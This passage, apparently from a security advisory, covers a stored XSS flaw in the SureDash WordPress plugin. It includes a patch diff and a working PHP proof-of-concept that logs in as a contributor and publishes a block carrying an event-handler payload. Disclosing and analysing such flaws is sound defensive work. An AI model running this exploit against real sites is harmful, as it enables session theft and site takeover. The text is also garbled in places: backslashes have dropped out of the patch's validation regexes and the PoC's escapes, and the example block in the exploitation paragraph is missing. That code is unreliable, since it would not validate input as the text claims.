` element. The output was not escaped with `esc_attr()`, allowing a double-quote in the attribute value to break out of the style attribute and introduce arbitrary event handlers. Additionally, the stored payload in the block delimiter’s JSON comment is not neutralized by `wp_kses_post()` on save, so the malicious value persists in the page content. The affected parameters are `draweropenverposition` and `draweropenhorposition`.
Exploitation:
An attacker with contributor-level access can craft a block with the vulnerable attributes. The attack vector uses the WordPress block editor. A contributor can create a block such as “. When the page is rendered, the value is placed into the style attribute without validation: `style=”top:0px;” onmouseover=”alert(1)””`. This injects an event handler that executes arbitrary JavaScript when a user interacts with the element. The stored XSS payload executes in the context of any administrator or user who views the page, potentially allowing session hijacking, data theft, or full site compromise.
Patch Analysis:
The patch in version 1.10.4 introduces two key functions: `suredash_sanitize_css_value()` and an improved `suredash_get_default_value_with_unit()`. The `suredash_sanitize_css_value()` function rejects any input containing dangerous CSS characters such as “, `{`, `}`, `;`, `@`, backslashes, `url(`, or `expression(`. The `suredash_get_default_value_with_unit()` function now only accepts plain numbers with allowed CSS units (e.g., `px`, `em`, `rem`, `%`). In `notification.php`, the patch validates that `draweropenverposition` and `draweropenhorposition` only match the allowed keywords `top`, `bottom`, `left`, or `right`. The patch also wraps the output in `esc_attr()`. These changes prevent the attribute value from breaking out of the style attribute and block the injection of event handlers or other HTML.
Impact:
Successful exploitation allows an attacker with contributor access to execute arbitrary JavaScript in the context of any user who views the compromised page. This can lead to account takeover, cookie theft, and privilege escalation. Administrators who view the page are the highest-value targets. The attack requires only contributor-level access, which is often granted to low-trust users, making the vulnerability readily exploitable.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/suredash/core/blocks/interactivity/build/Identity/view.php
+++ b/suredash/core/blocks/interactivity/build/Identity/view.php
@@ -69,7 +69,7 @@
}
</style>',
esc_attr( $unique_id ),
- esc_attr( $attributes['width'] ?? '120px' ),
+ esc_attr( suredash_sanitize_css_value( $attributes['width'] ?? '120px' ) ),
esc_attr( $unique_id ),
esc_attr( $unique_id )
);
--- a/suredash/core/blocks/interactivity/build/Navigation/view.php
+++ b/suredash/core/blocks/interactivity/build/Navigation/view.php
@@ -18,14 +18,14 @@
$elements = ! empty( $attributes['style']['elements'] ) ? $attributes['style']['elements'] : []; // Extended color options support.
-/**
- * Helper function to convert typography object to CSS string
- *
- * @param array $typography Typography attributes array.
- * @return string CSS string with typography properties.
- */
if ( ! function_exists( 'suredash_get_typography_css' ) ) {
- function suredash_get_typography_css( $typography ) {
+ /**
+ * Helper function to convert typography object to CSS string
+ *
+ * @param array<string, string> $typography Typography attributes array.
+ * @return string CSS string with typography properties.
+ */
+ function suredash_get_typography_css( $typography ): string {
if ( empty( $typography ) || ! is_array( $typography ) ) {
return '';
}
@@ -33,15 +33,15 @@
$css = '';
if ( ! empty( $typography['fontSize'] ) ) {
- $css .= 'font-size: ' . esc_attr( $typography['fontSize'] ) . ';';
+ $css .= 'font-size: ' . esc_attr( suredash_sanitize_css_value( $typography['fontSize'] ) ) . ';';
}
if ( ! empty( $typography['fontWeight'] ) ) {
- $css .= 'font-weight: ' . esc_attr( $typography['fontWeight'] ) . ';';
+ $css .= 'font-weight: ' . esc_attr( suredash_sanitize_css_value( $typography['fontWeight'] ) ) . ';';
}
if ( ! empty( $typography['lineHeight'] ) ) {
- $css .= 'line-height: ' . esc_attr( $typography['lineHeight'] ) . ';';
+ $css .= 'line-height: ' . esc_attr( suredash_sanitize_css_value( $typography['lineHeight'] ) ) . ';';
}
return $css;
@@ -91,12 +91,12 @@
esc_attr( ! empty( $attributes['spacegroupsgap'] ) ? suredash_get_default_value_with_unit( $attributes['spacegroupsgap'] ) : '' ),
esc_attr( ! empty( $attributes['spacesgap'] ) ? suredash_get_default_value_with_unit( $attributes['spacesgap'] ) : '' ),
esc_attr( ! empty( $attributes['spacegrouptitlefirstspacegap'] ) ? suredash_get_default_value_with_unit( $attributes['spacegrouptitlefirstspacegap'] ) : '' ),
- esc_attr( ! empty( $elements['spaceactivetext']['color']['color'] ) ? $elements['spaceactivetext']['color']['color'] : '' ),
- esc_attr( ! empty( $elements['spaceactivebackground']['color']['background'] ) ? $elements['spaceactivebackground']['color']['background'] : '' ),
- esc_attr( ! empty( $elements['spacegrouptext']['color']['color'] ) ? $elements['spacegrouptext']['color']['color'] : '' ),
- esc_attr( ! empty( $elements['spacegroupbackground']['color']['background'] ) ? $elements['spacegroupbackground']['color']['background'] : '' ),
- wp_strip_all_tags( $space_typo_css ),
- wp_strip_all_tags( $space_group_typo_css ),
+ esc_attr( suredash_sanitize_css_value( $elements['spaceactivetext']['color']['color'] ?? '' ) ),
+ esc_attr( suredash_sanitize_css_value( $elements['spaceactivebackground']['color']['background'] ?? '' ) ),
+ esc_attr( suredash_sanitize_css_value( $elements['spacegrouptext']['color']['color'] ?? '' ) ),
+ esc_attr( suredash_sanitize_css_value( $elements['spacegroupbackground']['color']['background'] ?? '' ) ),
+ esc_attr( $space_typo_css ),
+ esc_attr( $space_group_typo_css ),
);
$content = '';
--- a/suredash/core/blocks/interactivity/build/Portal/view.php
+++ b/suredash/core/blocks/interactivity/build/Portal/view.php
@@ -18,7 +18,8 @@
$content = $content ?? '';
$attributes = $attributes ?? [];
-$top_offset = ( $attributes['sidebartopoffset'] ?? '0px' );
+$top_offset = suredash_sanitize_css_value( $attributes['sidebartopoffset'] ?? '0px' );
+$top_offset = $top_offset === '' ? '0px' : $top_offset;
?>
<div <?php echo do_shortcode( get_block_wrapper_attributes( [ 'class' => 'portal-body-container' ] ) ); ?>>
--- a/suredash/core/blocks/interactivity/build/Search/view.php
+++ b/suredash/core/blocks/interactivity/build/Search/view.php
@@ -38,7 +38,7 @@
border-radius:%1$s !important;
}
</style>',
- esc_attr( ! empty( $attributes['inputborderradius'] ) ? $attributes['inputborderradius'] : '' )
+ esc_attr( suredash_sanitize_css_value( $attributes['inputborderradius'] ?? '' ) )
);
echo do_shortcode( $placeholder );
if ( $responsive_only_icon ) {
--- a/suredash/core/routers/onboarding.php
+++ b/suredash/core/routers/onboarding.php
@@ -349,6 +349,15 @@
wp_send_json_error( [ 'message' => $this->get_rest_event_error( 'nonce' ) ] );
}
+ // Activating a plugin is a site-level administrative action. The 'admin'
+ // permission_callback only guarantees the Portal Manager capability
+ // ( manage_portal_dashboard ), which intentionally does NOT include
+ // activate_plugins. Enforce the core capability explicitly so a Portal
+ // Manager cannot activate arbitrary installed plugins.
+ if ( ! current_user_can( 'activate_plugins' ) ) {
+ wp_send_json_error( [ 'message' => __( 'You do not have permission to activate plugins.', 'suredash' ) ], 403 );
+ }
+
$plugin_path = ! empty( $_POST['plugin_init'] ) ? sanitize_text_field( wp_unslash( $_POST['plugin_init'] ) ) : '';
$plugin_slug = ! empty( $_POST['plugin_slug'] ) ? sanitize_text_field( wp_unslash( $_POST['plugin_slug'] ) ) : '';
--- a/suredash/core/routers/social-logins.php
+++ b/suredash/core/routers/social-logins.php
@@ -262,6 +262,21 @@
wp_send_json_error( [ 'message' => esc_html__( 'The username/password field is empty. Please add a valid username/email to reset your password.', 'suredash' ) ] );
}
+ // Throttle by client IP to mitigate account enumeration and reset-email
+ // flooding on this public, unauthenticated endpoint. REMOTE_ADDR is used
+ // deliberately (X-Forwarded-For is client-controlled and spoofable) and
+ // is read via filter_input() with FILTER_VALIDATE_IP so it is validated
+ // at the point of access.
+ $client_ip = filter_input( INPUT_SERVER, 'REMOTE_ADDR', FILTER_VALIDATE_IP );
+ if ( ! empty( $client_ip ) ) {
+ $rate_key = 'suredash_forgot_pw_' . md5( $client_ip );
+ $rate_count = (int) get_transient( $rate_key );
+ if ( $rate_count >= 5 ) {
+ wp_send_json_error( [ 'message' => esc_html__( 'Too many password reset requests. Please try again in a few minutes.', 'suredash' ) ], 429 );
+ }
+ set_transient( $rate_key, $rate_count + 1, 15 * MINUTE_IN_SECONDS );
+ }
+
$user_login = sanitize_text_field( wp_unslash( $_POST['username'] ) );
$user_data = get_user_by( 'login', $user_login );
@@ -271,59 +286,60 @@
$user_data = get_user_by( 'email', $user_login );
}
- // We need to check $user_data again since get_user_by() used above might return false value.
- if ( ! $user_data instanceof WP_User ) {
- wp_send_json_error( [ 'message' => esc_html__( 'No user found. Please add a registered username/email to reset your password, else create an account.', 'suredash' ) ] );
- }
-
- $user_login = $user_data->user_login;
- $user_email = $user_data->user_email;
-
- $key = get_password_reset_key( $user_data );
-
- if ( is_wp_error( $key ) ) {
- wp_send_json_error( [ 'message' => $key->get_error_message() ] );
+ // Generic, account-existence-agnostic response. To prevent username/email
+ // enumeration, this endpoint MUST return the exact same reply whether or
+ // not a matching account exists (mirrors WordPress core's lost-password
+ // behaviour). Never branch the user-facing message on user existence,
+ // reset-key errors, or mail-send success.
+ $generic_message = esc_html__( 'If an account matching that username or email exists, a password reset link has been sent. Please check your email.', 'suredash' );
+
+ // Only perform the reset work when a real account is found; otherwise fall
+ // through silently to the same generic response.
+ if ( $user_data instanceof WP_User ) {
+ $user_login = $user_data->user_login;
+ $user_email = $user_data->user_email;
+
+ $key = get_password_reset_key( $user_data );
+
+ if ( ! is_wp_error( $key ) ) {
+ $reset_url = suredash_get_login_page_url();
+ $reset_url = add_query_arg(
+ [
+ 'action' => 'resetpassword',
+ 'key' => $key,
+ 'login' => rawurlencode( $user_login ),
+ ],
+ $reset_url
+ );
+ $key = ! is_string( $key ) ? '' : $key;
+ $message = (string) Helper::get_option( 'forgot_password_mail_body' );
+ $message = str_replace( '{{user_login}}', esc_html( $user_login ), $message );
+ $message = str_replace( 'user_login', esc_html( $user_login ), $message );
+
+ $message = str_replace( '{{password_reset_key}}', $key, $message );
+ $message = str_replace( '{{password_reset_url}}', '<a href="' . esc_url( $reset_url ) . '">' . esc_html__( 'Reset your password here', 'suredash' ) . '</a>', $message );
+
+ $message = str_replace( 'password_reset_key', $key, $message );
+ $message = str_replace( 'password_reset_url', '<a href="' . esc_url( $reset_url ) . '">' . esc_html__( 'Reset your password here', 'suredash' ) . '</a>', $message );
+ // Get site name and ensure it's a string.
+ $blog_name = Helper::get_option( 'portal_name' );
+
+ // Send email. The boolean result is intentionally not surfaced to
+ // the caller so a mail-delivery failure cannot become an existence
+ // oracle.
+ suredash_send_email(
+ $user_email,
+ sprintf(
+ // translators: %s: Password reset.
+ __( '[%s] Password Reset', 'suredash' ),
+ wp_specialchars_decode( $blog_name ) // strval() - we use this function as wp_specialchars_decode() expects 'string' type parameter (and not 'mixed').
+ ),
+ $message
+ );
+ }
}
- $reset_url = suredash_get_login_page_url();
- $reset_url = add_query_arg(
- [
- 'action' => 'resetpassword',
- 'key' => $key,
- 'login' => rawurlencode( $user_login ),
- ],
- $reset_url
- );
- $key = ! is_string( $key ) ? '' : $key;
- $message = (string) Helper::get_option( 'forgot_password_mail_body' );
- $message = str_replace( '{{user_login}}', esc_html( $user_login ), $message );
- $message = str_replace( 'user_login', esc_html( $user_login ), $message );
-
- $message = str_replace( '{{password_reset_key}}', $key, $message );
- $message = str_replace( '{{password_reset_url}}', '<a href="' . esc_url( $reset_url ) . '">' . esc_html__( 'Reset your password here', 'suredash' ) . '</a>', $message );
-
- $message = str_replace( 'password_reset_key', $key, $message );
- $message = str_replace( 'password_reset_url', '<a href="' . esc_url( $reset_url ) . '">' . esc_html__( 'Reset your password here', 'suredash' ) . '</a>', $message );
- // Get site name and ensure it's a string.
- $blog_name = Helper::get_option( 'portal_name' );
-
- // Send email.
- $send_wp_mail = suredash_send_email(
- $user_email,
- sprintf(
- // translators: %s: Password reset.
- __( '[%s] Password Reset', 'suredash' ),
- wp_specialchars_decode( $blog_name ) // strval() - we use this function as wp_specialchars_decode() expects 'string' type parameter (and not 'mixed').
- ),
- $message
- );
-
- // Check if email is sent and reply accordingly.
- if ( $send_wp_mail ) {
- wp_send_json_success( [ 'message' => esc_html__( 'Please check your email for the password reset link.', 'suredash' ) ] );
- } else {
- wp_send_json_error( [ 'message' => esc_html__( 'Email failed to send.', 'suredash' ) ] );
- }
+ wp_send_json_success( [ 'message' => $generic_message ] );
}
/**
--- a/suredash/core/shortcodes/notification.php
+++ b/suredash/core/shortcodes/notification.php
@@ -175,18 +175,22 @@
$notification_block_css = '';
// Check if any unit added to this offset otherwise add 'px' unit by default.
- $vertical_position_offset = suredash_get_default_value_with_unit( $atts['drawerverpositionoffset'] );
- $horizontal_position_offset = suredash_get_default_value_with_unit( $atts['drawerhorpositionoffset'] );
+ $vertical_position_offset = suredash_get_default_value_with_unit( $atts['drawerverpositionoffset'] ?? '' );
+ $horizontal_position_offset = suredash_get_default_value_with_unit( $atts['drawerhorpositionoffset'] ?? '' );
- if ( isset( $atts['draweropenverposition'] ) ) {
- $notification_block_css .= $atts['draweropenverposition'] . ':' . $vertical_position_offset . ';';
+ // Positions are CSS property names, so only the supported keywords are allowed.
+ $vertical_position = in_array( $atts['draweropenverposition'] ?? '', [ 'top', 'bottom' ], true ) ? $atts['draweropenverposition'] : '';
+ $horizontal_position = in_array( $atts['draweropenhorposition'] ?? '', [ 'left', 'right' ], true ) ? $atts['draweropenhorposition'] : '';
+
+ if ( $vertical_position !== '' && $vertical_position_offset !== '' ) {
+ $notification_block_css .= $vertical_position . ':' . $vertical_position_offset . ';';
}
- if ( isset( $atts['draweropenhorposition'] ) ) {
- $notification_block_css .= $atts['draweropenhorposition'] . ':' . $horizontal_position_offset . ';';
+ if ( $horizontal_position !== '' && $horizontal_position_offset !== '' ) {
+ $notification_block_css .= $horizontal_position . ':' . $horizontal_position_offset . ';';
}
?>
- <div class="portal-notification-drawer portal-content sd-bg-content sd-absolute sd-flex sd-flex-col sd-bg-content sd-radius-12 sd-shadow-lg sd-border sd-overflow-hidden sd-hidden sd-notification-list" style="<?php echo do_shortcode( $notification_block_css ); ?>">
+ <div class="portal-notification-drawer portal-content sd-bg-content sd-absolute sd-flex sd-flex-col sd-bg-content sd-radius-12 sd-shadow-lg sd-border sd-overflow-hidden sd-hidden sd-notification-list" style="<?php echo esc_attr( $notification_block_css ); ?>">
<?php $this->get_user_notification_list(); ?>
</div>
<?php
--- a/suredash/inc/functions/functions.php
+++ b/suredash/inc/functions/functions.php
@@ -2781,15 +2781,44 @@
*
* Case: Block editor block setting values.
*
+ * Only a plain number with an optional CSS unit is accepted. Block attributes
+ * are attacker controlled (they live in the post content), so anything else is
+ * rejected instead of being passed through to inline CSS.
+ *
* @param string $value The value to check.
*
- * @return string
+ * @return string A safe CSS length, or an empty string.
* @since 1.4.0
*/
function suredash_get_default_value_with_unit( $value ) {
- if ( ! preg_match( '/[a-zA-Z]+$/', strval( $value ) ) ) {
- $value .= 'px';
+ $value = trim( strval( $value ) );
+
+ if ( ! preg_match( '/^-?(?:d+(?:.d+)?|.d+)(px|em|rem|%|vh|vw|vmin|vmax|pt|pc|ch|ex|in|cm|mm)?$/i', $value, $unit ) ) {
+ return '';
+ }
+
+ return empty( $unit[1] ) ? $value . 'px' : $value;
+}
+
+/**
+ * Sanitize a value that gets interpolated into inline CSS.
+ *
+ * Used for free-form values (colors, radii, font sizes) coming from block
+ * attributes. Rejects anything that could end the current declaration, start a
+ * new rule, break out of the surrounding markup or make an outbound request.
+ *
+ * @param string $value The raw value.
+ *
+ * @return string A safe CSS value, or an empty string.
+ * @since 1.10.4
+ */
+function suredash_sanitize_css_value( $value ) {
+ $value = trim( strval( $value ) );
+
+ if ( $value === '' || preg_match( '#[<>{};@\\]|/*|burls*(|bexpressions*(#i', $value ) ) {
+ return '';
}
+
return $value;
}
--- a/suredash/suredash.php
+++ b/suredash/suredash.php
@@ -5,7 +5,7 @@
* Description: SureDash turns your WordPress site into a community hub with unified login, custom dashboard, and improved user engagement.
* Author: SureDash
* Author URI: https://suredash.com/
- * Version: 1.10.3
+ * Version: 1.10.4
* License: GPL v2
* Text Domain: suredash
* Domain Path: /languages
@@ -16,7 +16,7 @@
/**
* Set constants.
*/
-define( 'SUREDASHBOARD_VER', '1.10.3' );
+define( 'SUREDASHBOARD_VER', '1.10.4' );
define( 'SUREDASHBOARD_FILE', __FILE__ );
define( 'SUREDASH_PRO_MINIMUM_VER', '1.10.0' );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18402 - SureDash <= 1.10.3 - Stored XSS via 'draweropenverposition' attribute
$target_url = 'https://victim-site.com/wp-admin/post-new.php?post_type=post'; // Change to the target site's admin post creation URL
$login_url = 'https://victim-site.com/wp-login.php'; // WordPress login URL
$username = 'contributor'; // Contributor-level account username
$password = 'password'; // Contributor-level account password
// Step 1: Login to get authentication cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Fetch the post editor page to obtain a valid nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$editor_page = curl_exec($ch);
curl_close($ch);
// Extract the nonce (adjust pattern based on actual nonce field)
preg_match('/name="_wpnonce" value="([^"]+)"/', $editor_page, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Unable to extract nonce. Check the editor page HTML structure.');
}
// Step 3: Craft the malicious block payload
// The double-quote breaks out of the style attribute to inject an event handler
$payload = 'top" onmouseover="alert(1)" x=""';
// Step 4: Create the post with the malicious shortcode/block
$post_data = [
'post_title' => 'PoC Stored XSS - CVE-2026-18402',
'post_content' => '<!-- wp:suredash/notification {"draweropenverposition":"' . $payload . '"} /-->',
'post_status' => 'publish',
'post_type' => 'post',
'_wpnonce' => $nonce
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$post_response = curl_exec($ch);
curl_close($ch);
// Step 5: Notify user to view the post to trigger the XSS
echo "Exploit submitted. Visit the created post to trigger the stored XSS.n";
echo "The script will execute when a user's mouse moves over the affected element.n";
?>
